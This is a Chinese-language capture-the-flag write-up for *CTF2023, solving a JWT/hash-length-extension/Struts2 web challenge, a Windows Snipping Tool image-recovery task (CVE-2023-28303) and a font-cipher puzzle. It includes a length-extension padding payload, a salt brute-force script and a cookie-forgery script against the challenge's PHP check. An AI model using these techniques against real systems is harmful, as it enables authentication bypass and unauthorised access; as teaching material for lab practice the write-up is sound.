XCTF国际联赛*CTF2023


WEB

jwt2struts

信息收集

此时根据页面回显You are now logged in as user. Try to become admin.和题目标题jwt此时我们可以猜测存在jwt攻击;此时我们先抓个包

此时果然发现了这个cookie我们将其放进jwt.io进行查看

将sub中的user改成admin在放进bp进行发包看看回显;此时得到一个JWT_key.php此时我们登入后台看看

此时获得源码

代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
highlight_file(__FILE__);
include "./secret_key.php";
include "./salt.php";
//$salt = XXXXXXXXXXXXXX // the salt include 14 characters
//md5($salt."adminroot")=e6ccbf12de9d33ec27a5bcfb6a3293df
@$username = urldecode($_POST["username"]);
@$password = urldecode($_POST["password"]);
if (!empty($_COOKIE["digest"])) {
if ($username === "admin" && $password != "root") {
if ($_COOKIE["digest"] === md5($salt.$username.$password)) {
die ("The secret_key is ". $secret_key);
}
else {
die ("Your cookies don't match up! STOP HACKING THIS SITE.");
}
}
else {
die ("no no no");
}
}

此时我们注意到

1
if ($_COOKIE["digest"] === md5($salt.$username.$password))

这个是不是很熟悉,是之前遇到过的hash长度攻击

hash长度攻击

此时我们看一下我们的已知条件;有Signature有data有length;此时我们直接hashpump一把梭

此时我们将\x全部替换成%
payload1

1
root%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%b0%00%00%00%00%00%00%00hey


此时就可以获得secret_key=sk-he00lctf3r

struts2的漏洞利用

此时我们访问/admiiiiiiiiiiin后台得到一个登入框;此时我们观察题目名称猜测与struts2的nday漏洞有关;这个时候就可以直接掏出我在打护网时收
集的漏洞检测工具进行查看;经过检测发现确实存在该漏洞

此时尝试命令执行并且来查看flag;这个flag真的不好找啊,它居然藏在了环境变量里头

flag{7r0m_jwt_t0_struts2}

ps

今天在b站看到了另外一解法,利用的是已经知道salt的长度和md5($salt.”adminroot”)=e6ccbf12de9d33ec27a5bcfb6a3293df进行一个salt的爆破从而得到salt然后在进一步的进行password的伪造使得if ($_COOKIE["digest"] === md5($salt.$username.$password))

salt的爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import hashlib

try:
with open('D:\\CTFtools\\WebTools\\爆破字典\\rockyou.txt',mode='r',encoding='utf-8') as f:
for line in f:
salt = line.strip()
if len(salt) == 14:
obj = hashlib.md5(salt.encode('utf-8'))
obj.update(b"adminroot")
secret = obj.hexdigest()
if secret == "e6ccbf12de9d33ec27a5bcfb6a3293df":
print("Found salt : ",salt)
except Exception as e:
print("Error:",e)

此时该段代码利用的是salt的长度和md5($salt."adminroot")=e6ccbf12de9d33ec27a5bcfb6a3293df这个条件,借助字典来爆破得到salt的值

Cookie的伪造

1
2
3
4
5
6
7
import hashlib

salt = "01234567891011"
obj = hashlib.md5(salt.encode('utf-8'))
obj.update(b"adminhey")
Cookie = obj.hexdigest()
print(Cookie)

接下来就是利用($_COOKIE["digest"] === md5($salt.$username.$password))这个条件进行Cookie的伪造,此时因为password不等于root;所
以此时我令它等于hey;然后利用脚本伪造出cookie==md5($salt.$username.$password))

此时提交之后也是可以获得The secret_key is sk-he00lctf3r

MISC

snippingTools

Alice在参加某个CTF比赛,她成功的解出了一道题,拿到了flag。她很开心,迫不及待地想要向Bob分享她的喜悦。于是按下了快捷键Shift+Win+S使用了Windows 11的截图工具,截取了整个屏幕,并且保存为文件1.png。然后,考虑到比赛规则中规定flag需要保密,她使用了截图工具中的“裁剪”功能,将flag裁剪掉了一部分,然后将裁剪结果覆盖了原文件1.png并保存。最终,她将1.png发给了Bob。Bob马上就知道了她的整个flag,你知道是如何做到的吗?

此时我们根据题意收集到题目是要求我们恢复被windows截图工具截取之后原来的照片,此时我们通过谷歌搜素查到了这个是一个漏洞

并且此时给出了我们漏洞编号为CVE-2023-28303;这个时候我们进入github查看是否存在可以利用的脚本

拿到该利用工具之后我们直接一把梭就行了

flag{cve-2023-28303-windows-snipping-tools-is-not-secure-4E9019139D9A}

old language

AN ancient old language


拿到之后我们直接上谷歌识图看看

此时果然有,这是一种dovahkiin.字体;我们直接找对照表进行对照翻译即可

flag{GIKRVZY}